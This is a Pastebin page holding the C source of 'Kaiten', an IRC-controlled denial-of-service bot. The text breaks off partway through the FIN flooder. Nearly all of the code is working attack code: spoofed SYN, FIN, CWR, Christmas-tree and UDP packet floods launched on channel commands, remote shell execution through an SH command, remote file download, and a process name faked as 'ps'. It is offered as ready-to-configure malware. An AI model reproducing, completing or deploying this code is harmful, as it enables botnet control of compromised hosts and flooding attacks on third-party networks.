Advertisement
Hector_G

Kaiten (bot)

Feb 15th, 2017
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 57.34 KB | None | 0 0
  1. /*******************************************************************************
  2.  *   This is an advanced IRC based dedicated denial of service client.         *
  3.  * The public syntax is:                                                       *
  4.  *       !<nick> <command>                                                     *
  5.  * You send commands to the channel that is defined later in this code.        *
  6.  * Where <nick> is the nickname of the client (which can include wildcards)    *
  7.  * and the command that should be sent. For example, if you want to tell       *
  8.  * all the clients with the nickname starting with N, to send UNKNOWN          *
  9.  * you type in the channel:                                                    *
  10.  *       !N* UNKNOWN                                                           *
  11.  * That will tell you how to send UNKNOWN ddos.  You can also specify an       *
  12.  * astrick alone to make all clients do a specific command:                    *
  13.  *       !* SH uname -a                                                        *
  14.  * There are a number of commands that can be sent to the clients:             *
  15.  *       CWR <target> <port> <secs>    = Sends spoofed cwr packets.            *
  16.  *       ECE <target> <port> <secs>    = Sends spoofed ece packets.            *
  17.  *       URG <target> <port> <secs>    = Sends spoofed urg packets.            *
  18.  *       ACK <target> <port> <secs>    = Sends spoofed ack packets.            *
  19.  *       PSH <target> <port> <secs>    = Sends spoofed psh packets.            *
  20.  *       RST <target> <port> <secs>    = Sends spoofed rst packets.            *
  21.  *       FIN <target> <port> <secs>    = Sends spoofed fin packets.            *
  22.  *       SYN <target> <port> <secs>    = A spoofed syn flooder.                *
  23.  *       MIX <target> <port> <secs>    = Sends Christmas tree packet.          *
  24.  *       UDP <target> <port> <secs>    = An UDP flooder                        *
  25.  *       UNKNOWN <target> <secs>       = Another non-spoof udp flooder         *
  26.  *       NICK <nick>                   = Changes the nick of the client        *
  27.  *       SERVER <server>               = Changes servers                       *
  28.  *       GETSPOOFS                     = Gets the current spoofing             *
  29.  *       SPOOFS <subnet>               = Changes spoofing to a subnet          *
  30.  *       DISABLE                       = Disables all packeting from this bot  *
  31.  *       ENABLE                        = Enables all packeting from this bot   *
  32.  *       KILL                          = Kills the knight                      *
  33.  *       GET <http address> <save as>  = Downloads a file off the web          *
  34.  *       VERSION                       = Requests version of knight            *
  35.  *       KILLALL                       = Kills all current packeting           *
  36.  *       IRC <command>                 = Sends this command to the server      *
  37.  *       SH <command>                  = Executes a command                    *
  38.  *******************************************************************************/
  39. ////////////////////////////////////////////////////////////////////////////////
  40. //                                EDIT THESE                                  //
  41. ////////////////////////////////////////////////////////////////////////////////
  42. #undef STARTUP
  43. #undef IDENT
  44. #define FAKENAME "ps"
  45. #define CHAN "#"
  46. #define KEY "key"
  47. int numservers=1;
  48. char *servers[] = {
  49.     "fbi.gov",
  50.     (void*)0
  51. };
  52. #include <stdarg.h>
  53. #include <errno.h>
  54. #include <stdio.h>
  55. #include <stdlib.h>
  56. #include <string.h>
  57. #include <sys/types.h>
  58. #include <sys/stat.h>
  59. #include <fcntl.h>
  60. #include <strings.h>
  61. #include <netinet/in.h>
  62. #include <unistd.h>
  63. #include <sys/time.h>
  64. #include <sys/socket.h>
  65. #include <signal.h>
  66. #include <arpa/inet.h>
  67. #include <netdb.h>
  68. #include <time.h>
  69. #include <sys/wait.h>
  70. #include <sys/ioctl.h>
  71. int sock,changeservers=0;
  72.     char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256];
  73.     unsigned int *pids;
  74.     unsigned long spoofs=0, spoofsm=0, numpids=0;
  75. int strwildmatch(const char* pattern, const char* string) {
  76.     switch(*pattern) {
  77.         case '\0': return *string;
  78.         case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  79.         case '?': return !(*string && !strwildmatch(pattern+1, string+1));
  80.         default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  81.     }
  82. }
  83. int Send(int sock, char *words, ...) {
  84.         static char textBuffer[1024];
  85.         va_list args;
  86.         va_start(args, words);
  87.         vsprintf(textBuffer, words, args);
  88.         va_end(args);
  89.         return write(sock,textBuffer,strlen(textBuffer));
  90. }
  91. int mfork(char *sender) {
  92.     unsigned int parent, *newpids, i;
  93.     if (disabled == 1) {
  94.         Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  95.         return 1;
  96.     }
  97.     parent=fork();
  98.     if (parent <= 0) return parent;
  99.     numpids++;
  100.     newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  101.     for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  102.     newpids[numpids-1]=parent;
  103.     free(pids);
  104.     pids=newpids;
  105.     return parent;
  106. }
  107. unsigned long getspoof() {
  108.     if (!spoofs) return rand();
  109.     if (spoofsm == 1) return ntohl(spoofs);
  110.     return ntohl(spoofs+(rand() % spoofsm)+1);
  111. }
  112. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  113. char *makestring() {
  114.     char *tmp;
  115.     int len=(rand()%5)+4,i;
  116.     FILE *file;
  117.     tmp=(char*)malloc(len+1);
  118.     memset(tmp,0,len+1);
  119.     if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  120.     else {
  121.         int a=((rand()*rand())%45402)+1;
  122.         char buf[1024];
  123.         for (i=0;i<a;i++) fgets(buf,1024,file);
  124.         memset(buf,0,1024);
  125.         fgets(buf,1024,file);
  126.         filter(buf);
  127.         memcpy(tmp,buf,len);
  128.         fclose(file);
  129.     }
  130.     return tmp;
  131. }
  132. void identd() {
  133.         int sockname,sockfd,sin_size,tmpsock,i;
  134.         struct sockaddr_in my_addr,their_addr;
  135.         char szBuffer[1024];
  136.         if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  137.         my_addr.sin_family = AF_INET;
  138.         my_addr.sin_port = htons(113);
  139.         my_addr.sin_addr.s_addr = INADDR_ANY;
  140.         memset(&(my_addr.sin_zero), 0, 8);
  141.         if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  142.         if (listen(sockfd, 1) == -1) return;
  143.         if (fork() == 0) return;
  144.         sin_size = sizeof(struct sockaddr_in);
  145.         if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  146.         for(;;) {
  147.                 fd_set bla;
  148.                 struct timeval timee;
  149.                 FD_ZERO(&bla);
  150.                 FD_SET(tmpsock,&bla);
  151.                 timee.tv_sec=timee.tv_usec=60;
  152.                 if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  153.                 if (FD_ISSET(tmpsock,&bla)) break;
  154.         }
  155.         i = recv(tmpsock,szBuffer,1024,0);
  156.         if (i <= 0 || i >= 20) exit(0);
  157.         szBuffer[i]=0;
  158.         if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  159.         if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  160.     Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  161.         close(tmpsock);
  162.         close(sockfd);
  163.         exit(0);
  164. }
  165. long pow(long a, long b) {
  166.         if (b == 0) return 1;
  167.         if (b == 1) return a;
  168.         return a*pow(a,b-1);
  169. }
  170. u_short in_cksum(u_short *addr, int len) {
  171.         register int nleft = len;
  172.         register u_short *w = addr;
  173.         register int sum = 0;
  174.         u_short answer =0;
  175.         while (nleft > 1) {
  176.                 sum += *w++;
  177.                 nleft -= 2;
  178.         }
  179.         if (nleft == 1) {
  180.                 *(u_char *)(&answer) = *(u_char *)w;
  181.                 sum += answer;
  182.         }
  183.         sum = (sum >> 16) + (sum & 0xffff);
  184.         sum += (sum >> 16);
  185.         answer = ~sum;
  186.         return(answer);
  187. }
  188. void get(int sock, char *sender, int argc, char **argv) {
  189.         int sock2,i,d;
  190.         struct sockaddr_in server;
  191.         unsigned long ipaddr;
  192.         char buf[1024];
  193.         FILE *file;
  194.         unsigned char bufm[4096];
  195.         if (mfork(sender) != 0) return;
  196.         if (argc < 2) {
  197.                 Send(sock,"NOTICE %s :GET <host> <save as>\n",sender);
  198.                 exit(0);
  199.         }
  200.         if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  201.                 Send(sock,"NOTICE %s :Unable to create socket.\n",sender);
  202.                 exit(0);
  203.         }
  204.         if (!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7);
  205.         else strcpy(buf,argv[1]);
  206.         for (i=0;i<strlen(buf) && buf[i] != '/';i++);
  207.         buf[i]=0;
  208.         server.sin_family = AF_INET;
  209.         server.sin_port = htons(80);
  210.         if ((ipaddr = inet_addr(buf)) == -1) {
  211.                 struct hostent *hostm;
  212.                 if ((hostm=gethostbyname(buf)) == NULL) {
  213.                         Send(sock,"NOTICE %s :Unable to resolve address.\n",sender);
  214.                         exit(0);
  215.                 }
  216.                 memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
  217.         }
  218.         else server.sin_addr.s_addr = ipaddr;
  219.         memset(&(server.sin_zero), 0, 8);
  220.         if (connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) {
  221.                 Send(sock,"NOTICE %s :Unable to connect to http.\n",sender);
  222.                 exit(0);
  223.         }
  224.  
  225.         Send(sock2,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",buf+i+1,buf);
  226.         Send(sock,"NOTICE %s :Receiving file.\n",sender);
  227.         file=fopen(argv[2],"wb");
  228.         while(1) {
  229.                 int i;
  230.                 if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
  231.                 if (i < 4096) bufm[i]=0;
  232.                 for (d=0;d<i;d++) if (!strncmp(bufm+d,"\r\n\r\n",4)) {
  233.                         for (d+=4;d<i;d++) fputc(bufm[d],file);
  234.                         goto done;
  235.                 }
  236.         }
  237.         done:
  238.         Send(sock,"NOTICE %s :Saved as %s\n",sender,argv[2]);
  239.         while(1) {
  240.                 int i,d;
  241.                 if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
  242.                 if (i < 4096) bufm[i]=0;
  243.                 for (d=0;d<i;d++) fputc(bufm[d],file);
  244.         }
  245.         fclose(file);
  246.         close(sock2);
  247.         exit(0);
  248. }
  249. void getspoofs(int sock, char *sender, int argc, char **argv) {
  250.         unsigned long a=spoofs,b=spoofs+(spoofsm-1);
  251.         if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]);
  252.         else Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]);
  253. }
  254. void version(int sock, char *sender, int argc, char **argv) {
  255.         Send(sock,"NOTICE %s :kaiten6.6.6\n",sender);
  256. }
  257. void nickc(int sock, char *sender, int argc, char **argv) {
  258.         if (argc != 1) {
  259.                 Send(sock,"NOTICE %s :NICK <nick>\n",sender);
  260.                 return;
  261.         }
  262.         if (strlen(argv[1]) >= 10) {
  263.                 Send(sock,"NOTICE %s :Nick cannot be larger than 9 characters.\n",sender);
  264.                 return;
  265.         }
  266.         Send(sock,"NICK %s\n",argv[1]);
  267. }
  268. void disable(int sock, char *sender, int argc, char **argv) {
  269.         if (argc != 1) {
  270.                 Send(sock,"NOTICE %s :DISABLE <pass>\n",sender);
  271.                 Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
  272.                 return;
  273.         }
  274.     if (disabled) {
  275.         Send(sock,"NOTICE %s :Already disabled.\n",sender);
  276.         return;
  277.     }
  278.     if (strlen(argv[1]) > 254) {
  279.                 Send(sock,"NOTICE %s :Password too long! > 254\n",sender);
  280.                 return;
  281.     }
  282.         disabled=1;
  283.     memset(dispass,0,256);
  284.     strcpy(dispass,argv[1]);
  285.     Send(sock,"NOTICE %s :Disable sucessful.\n");
  286. }
  287. void enable(int sock, char *sender, int argc, char **argv) {
  288.         if (argc != 1) {
  289.                 Send(sock,"NOTICE %s :ENABLE <pass>\n",sender);
  290.                 Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
  291.                 return;
  292.         }
  293.     if (!disabled) {
  294.         Send(sock,"NOTICE %s :Already enabled.\n",sender);
  295.         return;
  296.     }
  297.     if (strcasecmp(dispass,argv[1])) {
  298.         Send(sock,"NOTICE %s :Wrong password\n",sender);
  299.         return;
  300.     }
  301.         disabled=0;
  302.     Send(sock,"NOTICE %s :Password correct.\n",sender);
  303. }
  304. void spoof(int sock, char *sender, int argc, char **argv) {
  305.         char ip[256];
  306.         int i, num;
  307.         unsigned long uip;
  308.         if (argc != 1) {
  309.                 Send(sock,"NOTICE %s :Removed all spoofs\n",sender);
  310.                 spoofs=0;
  311.                 spoofsm=0;
  312.                 return;
  313.         }
  314.         if (strlen(argv[1]) > 16) {
  315.                 Send(sock,"NOTICE %s :What kind of subnet address is that? Do something like: 169.40\n",sender);
  316.                 return;
  317.         }
  318.         strcpy(ip,argv[1]);
  319.         if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0;
  320.         for (i=0, num=1;i<strlen(ip);i++) if (ip[i] == '.') num++;
  321.         num=-(num-4);
  322.         for (i=0;i<num;i++) strcat(ip,".0");
  323.         uip=inet_network(ip);
  324.         if (num == 0) spoofsm=1;
  325.         else spoofsm=pow(256,num);
  326.         spoofs=uip;
  327. }
  328. struct iphdr {
  329.         unsigned int ihl:4, version:4;
  330.         unsigned char tos;
  331.         unsigned short tot_len;
  332.         unsigned short id;
  333.         unsigned short frag_off;
  334.         unsigned char ttl;
  335.         unsigned char protocol;
  336.         unsigned short check;
  337.         unsigned long saddr;
  338.         unsigned long daddr;
  339. };
  340. struct udphdr {
  341.         unsigned short source;
  342.         unsigned short dest;
  343.         unsigned short len;
  344.         unsigned short check;
  345. };
  346. struct tcphdr {
  347.         unsigned short source;
  348.         unsigned short dest;
  349.         unsigned long seq;
  350.         unsigned long ack_seq;
  351.         unsigned short res1:4, doff:4;
  352.     unsigned char fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, ece:1, cwr:1;
  353.         unsigned short window;
  354.         unsigned short check;
  355.         unsigned short urg_ptr;
  356. };
  357. struct send_tcp {
  358.     struct iphdr ip;
  359.     struct tcphdr tcp;
  360.     char buf[20];
  361. };
  362. struct pseudo_header {
  363.     unsigned int source_address;
  364.     unsigned int dest_address;
  365.     unsigned char placeholder;
  366.     unsigned char protocol;
  367.     unsigned short tcp_length;
  368.     struct tcphdr tcp;
  369.     char buf[20];
  370. };
  371. unsigned int host2ip(char *sender,char *hostname) {
  372.         static struct in_addr i;
  373.         struct hostent *h;
  374.         if((i.s_addr = inet_addr(hostname)) == -1) {
  375.                 if((h = gethostbyname(hostname)) == NULL) {
  376.                         Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  377.                         exit(0);
  378.                 }
  379.                 bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  380.         }
  381.         return i.s_addr;
  382. }
  383. void udp(int sock, char *sender, int argc, char **argv) {
  384.         unsigned int port,i=0;
  385.         unsigned long psize,target,secs;
  386.         struct sockaddr_in s_in;
  387.         struct iphdr *ip;
  388.     struct udphdr *udp;
  389.     char buf[1500],*str;
  390.         int get;
  391.         time_t start=time(NULL);
  392.         if (mfork(sender) != 0) return;
  393.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  394.         if (argc < 3) {
  395.                 Send(sock,"NOTICE %s :UDP <target> <port> <secs>\n",sender);
  396.                 exit(1);
  397.         }
  398.         target = host2ip(sender,argv[1]);
  399.         port = atoi(argv[2]);
  400.         secs = atol(argv[3]);
  401.         ip=(void*)buf;
  402.     udp=(void*)(buf+sizeof(struct iphdr));
  403.         str=(void*)(buf+sizeof(struct iphdr)+sizeof(struct udphdr));
  404.         memset(str,10,1500-(sizeof(struct iphdr)+sizeof(struct udphdr)));
  405.         Send(sock,"NOTICE %s :Packeting %s.\n",sender,argv[1]);
  406.         ip->ihl = 5;
  407.         ip->version = 4;
  408.         ip->tos = 0;
  409.         ip->tot_len = 1500;
  410.         ip->frag_off = 0;
  411.         ip->protocol = 17;
  412.         ip->ttl = 64;
  413.         ip->daddr = target;
  414.         udp->len = htons(psize);
  415.         s_in.sin_family  = AF_INET;
  416.         s_in.sin_addr.s_addr = target;
  417.         for (;;) {
  418.                 udp->source = rand();
  419.                 if (port) udp->dest = htons(port);
  420.                 else udp->dest = rand();
  421.                 udp->check = in_cksum((u_short *)buf,1500);
  422.                 ip->saddr = getspoof();
  423.                 ip->id = rand();
  424.                 ip->check = in_cksum((u_short *)buf,1500);
  425.                 s_in.sin_port = udp->dest;
  426.                 sendto(get,buf,1500,0,(struct sockaddr *)&s_in,sizeof(s_in));
  427.                 if (i >= 50) {
  428.                         if (time(NULL) >= start+secs) exit(0);
  429.                         i=0;
  430.                 }
  431.                 i++;
  432.         }
  433. }
  434. void mix(int sock, char *sender, int argc, char **argv) {
  435.         struct send_tcp send_tcp;
  436.         struct pseudo_header pseudo_header;
  437.         struct sockaddr_in sin;
  438.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  439.         unsigned int psize=20, source, dest, check;
  440.         unsigned long saddr, daddr,secs;
  441.         int get;
  442.         time_t start=time(NULL);
  443.         if (mfork(sender) != 0) return;
  444.         if (argc < 3) {
  445.                 Send(sock,"NOTICE %s :MIX <target> <port> <secs>\n",sender);
  446.                 exit(1);
  447.         }
  448.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  449.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  450.         daddr=host2ip(sender,argv[1]);
  451.         secs=atol(argv[3]);
  452.         dest=htons(atoi(argv[2]));
  453.         Send(sock,"NOTICE %s :Flooding %s with Christmas tree packets...\n",sender,argv[1]);
  454.         send_tcp.ip.ihl = 5;
  455.         send_tcp.ip.version = 4;
  456.         send_tcp.ip.tos = 16;
  457.         send_tcp.ip.frag_off = 64;
  458.         send_tcp.ip.ttl = 255;
  459.         send_tcp.ip.protocol = 6;
  460.         send_tcp.tcp.doff = 5;
  461.         send_tcp.tcp.res1 = 0;
  462.         send_tcp.tcp.cwr = 0;
  463.         send_tcp.tcp.ece = 0;
  464.         send_tcp.tcp.urg = 1;
  465.         send_tcp.tcp.ack = 0;
  466.         send_tcp.tcp.psh = 1;
  467.         send_tcp.tcp.rst = 0;
  468.         send_tcp.tcp.fin = 1;
  469.         send_tcp.tcp.syn = 1;
  470.         send_tcp.tcp.window = 65535;
  471.         send_tcp.tcp.urg_ptr = 0;
  472.         while(1) {
  473.                 saddr=getspoof();
  474.                 if (atoi(argv[2]) == 0) dest=rand();
  475.                 send_tcp.ip.tot_len = htons(40+psize);
  476.                 send_tcp.ip.id = rand();
  477.                 send_tcp.ip.check = 0;
  478.                 send_tcp.ip.saddr = saddr;
  479.                 send_tcp.ip.daddr = daddr;
  480.                 send_tcp.tcp.source = rand();
  481.                 send_tcp.tcp.dest = dest;
  482.                 send_tcp.tcp.seq = rand();
  483.                 send_tcp.tcp.ack_seq = rand();
  484.                 send_tcp.tcp.check = 0;
  485.                 sin.sin_family = AF_INET;
  486.                 sin.sin_port = send_tcp.tcp.dest;
  487.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  488.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  489.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  490.                 pseudo_header.source_address = send_tcp.ip.saddr;
  491.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  492.                 pseudo_header.placeholder = 0;
  493.                 pseudo_header.protocol = IPPROTO_TCP;
  494.                 pseudo_header.tcp_length = htons(20+psize);
  495.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  496.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  497.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  498.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  499.                 if (a >= 50) {
  500.                         if (time(NULL) >= start+secs) exit(0);
  501.                         a=0;
  502.                 }
  503.                 a++;
  504.         }
  505.         close(get);
  506.         exit(0);
  507. }
  508. void cwr(int sock, char *sender, int argc, char **argv) {
  509.         struct send_tcp send_tcp;
  510.         struct pseudo_header pseudo_header;
  511.         struct sockaddr_in sin;
  512.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  513.         unsigned int psize=20, source, dest, check;
  514.         unsigned long saddr, daddr,secs;
  515.         int get;
  516.         time_t start=time(NULL);
  517.         if (mfork(sender) != 0) return;
  518.         if (argc < 3) {
  519.                 Send(sock,"NOTICE %s :CWR <target> <port> <secs>\n",sender);
  520.                 exit(1);
  521.         }
  522.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  523.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  524.         daddr=host2ip(sender,argv[1]);
  525.         secs=atol(argv[3]);
  526.     dest=htons(atoi(argv[2]));
  527.         Send(sock,"NOTICE %s :Flooding %s with CWR..\n",sender,argv[1]);
  528.     send_tcp.ip.ihl = 5;
  529.         send_tcp.ip.version = 4;
  530.         send_tcp.ip.tos = 16;
  531.         send_tcp.ip.frag_off = 64;
  532.     send_tcp.ip.ttl = 255;
  533.     send_tcp.ip.protocol = 6;
  534.     send_tcp.tcp.doff = 5;
  535.         send_tcp.tcp.res1 = 0;
  536.         send_tcp.tcp.cwr = 1;
  537.         send_tcp.tcp.ece = 0;
  538.         send_tcp.tcp.urg = 0;
  539.         send_tcp.tcp.ack = 0;
  540.         send_tcp.tcp.psh = 0;
  541.     send_tcp.tcp.rst = 0;
  542.         send_tcp.tcp.fin = 0;
  543.         send_tcp.tcp.syn = 0;
  544.     send_tcp.tcp.window = 65535;
  545.         send_tcp.tcp.urg_ptr = 1;
  546.         while(1) {
  547.         saddr=getspoof();
  548.         if (atoi(argv[2]) == 0) dest=rand();
  549.                 send_tcp.ip.tot_len = htons(40+psize);
  550.                 send_tcp.ip.id = rand();
  551.                 send_tcp.ip.check = 0;
  552.                 send_tcp.ip.saddr = saddr;
  553.                 send_tcp.ip.daddr = daddr;
  554.                 send_tcp.tcp.source = rand();
  555.                 send_tcp.tcp.dest = dest;
  556.                 send_tcp.tcp.seq = rand();
  557.                 send_tcp.tcp.ack_seq = rand();
  558.                 send_tcp.tcp.check = 0;
  559.                 sin.sin_family = AF_INET;
  560.                 sin.sin_port = send_tcp.tcp.dest;
  561.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  562.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  563.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  564.                 pseudo_header.source_address = send_tcp.ip.saddr;
  565.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  566.                 pseudo_header.placeholder = 0;
  567.                 pseudo_header.protocol = IPPROTO_TCP;
  568.                 pseudo_header.tcp_length = htons(20+psize);
  569.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  570.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  571.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  572.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  573.                 if (a >= 50) {
  574.                         if (time(NULL) >= start+secs) exit(0);
  575.                         a=0;
  576.                 }
  577.                 a++;
  578.         }
  579.         close(get);
  580.         exit(0);
  581. }
  582. void syn(int sock, char *sender, int argc, char **argv) {
  583.         struct send_tcp send_tcp;
  584.         struct pseudo_header pseudo_header;
  585.         struct sockaddr_in sin;
  586.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  587.         unsigned int psize=20, source, dest, check;
  588.         unsigned long saddr, daddr,secs;
  589.         int get;
  590.         time_t start=time(NULL);
  591.         if (mfork(sender) != 0) return;
  592.         if (argc < 3) {
  593.                 Send(sock,"NOTICE %s :SYN <target> <port> <secs>\n",sender);
  594.                 exit(1);
  595.         }
  596.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  597.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  598.         daddr=host2ip(sender,argv[1]);
  599.         secs=atol(argv[3]);
  600.     dest=htons(atoi(argv[2]));
  601.         Send(sock,"NOTICE %s :Flooding %s with SYN..\n",sender,argv[1]);
  602.     send_tcp.ip.ihl = 5;
  603.         send_tcp.ip.version = 4;
  604.         send_tcp.ip.tos = 16;
  605.         send_tcp.ip.frag_off = 64;
  606.     send_tcp.ip.ttl = 255;
  607.     send_tcp.ip.protocol = 6;
  608.     send_tcp.tcp.doff = 5;
  609.         send_tcp.tcp.res1 = 0;
  610.         send_tcp.tcp.cwr = 0;
  611.         send_tcp.tcp.ece = 0;
  612.         send_tcp.tcp.urg = 0;
  613.         send_tcp.tcp.ack = 0;
  614.         send_tcp.tcp.psh = 0;
  615.     send_tcp.tcp.rst = 0;
  616.         send_tcp.tcp.fin = 0;
  617.         send_tcp.tcp.syn = 1;
  618.     send_tcp.tcp.window = 65535;
  619.         send_tcp.tcp.urg_ptr = 1;
  620.         while(1) {
  621.         saddr=getspoof();
  622.         if (atoi(argv[2]) == 0) dest=rand();
  623.                 send_tcp.ip.tot_len = htons(40+psize);
  624.                 send_tcp.ip.id = rand();
  625.                 send_tcp.ip.check = 0;
  626.                 send_tcp.ip.saddr = saddr;
  627.                 send_tcp.ip.daddr = daddr;
  628.                 send_tcp.tcp.source = rand();
  629.                 send_tcp.tcp.dest = dest;
  630.                 send_tcp.tcp.seq = rand();
  631.                 send_tcp.tcp.ack_seq = rand();
  632.                 send_tcp.tcp.check = 0;
  633.                 sin.sin_family = AF_INET;
  634.                 sin.sin_port = send_tcp.tcp.dest;
  635.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  636.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  637.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  638.                 pseudo_header.source_address = send_tcp.ip.saddr;
  639.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  640.                 pseudo_header.placeholder = 0;
  641.                 pseudo_header.protocol = IPPROTO_TCP;
  642.                 pseudo_header.tcp_length = htons(20+psize);
  643.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  644.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  645.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  646.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  647.                 if (a >= 50) {
  648.                         if (time(NULL) >= start+secs) exit(0);
  649.                         a=0;
  650.                 }
  651.                 a++;
  652.         }
  653.         close(get);
  654.         exit(0);
  655. }
  656. void fin(int sock, char *sender, int argc, char **argv) {
  657.         struct send_tcp send_tcp;
  658.         struct pseudo_header pseudo_header;
  659.         struct sockaddr_in sin;
  660.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  661.         unsigned int psize=20, source, dest, check;
  662.         unsigned long saddr, daddr,secs;
  663.         int get;
  664.         time_t start=time(NULL);
  665.         if (mfork(sender) != 0) return;
  666.         if (argc < 3) {
  667.                 Send(sock,"NOTICE %s :FIN <target> <port> <secs>\n",sender);
  668.                 exit(1);
  669.         }
  670.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  671.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  672.         daddr=host2ip(sender,argv[1]);
  673.         secs=atol(argv[3]);
  674.     dest=htons(atoi(argv[2]));
  675.         Send(sock,"NOTICE %s :Flooding %s with FIN..\n",sender,argv[1]);
  676.     send_tcp.ip.ihl = 5;
  677.         send_tcp.ip.version = 4;
  678.         send_tcp.ip.tos = 16;
  679.         send_tcp.ip.frag_off = 64;
  680.     send_tcp.ip.ttl = 255;
  681.     send_tcp.ip.protocol = 6;
  682.     send_tcp.tcp.doff = 5;
  683.         send_tcp.tcp.res1 = 0;
  684.         send_tcp.tcp.cwr = 0;
  685.         send_tcp.tcp.ece = 0;
  686.         send_tcp.tcp.urg = 0;
  687.         send_tcp.tcp.ack = 0;
  688.         send_tcp.tcp.psh = 0;
  689.     send_tcp.tcp.rst = 0;
  690.         send_tcp.tcp.fin = 1;
  691.         send_tcp.tcp.syn = 0;
  692.     send_tcp.tcp.window = 65535;
  693.         send_tcp.tcp.urg_ptr = 1;
  694.         while(1) {
  695.         saddr=getspoof();
  696.         if (atoi(argv[2]) == 0) dest=rand();
  697.                 send_tcp.ip.tot_len = htons(40+psize);
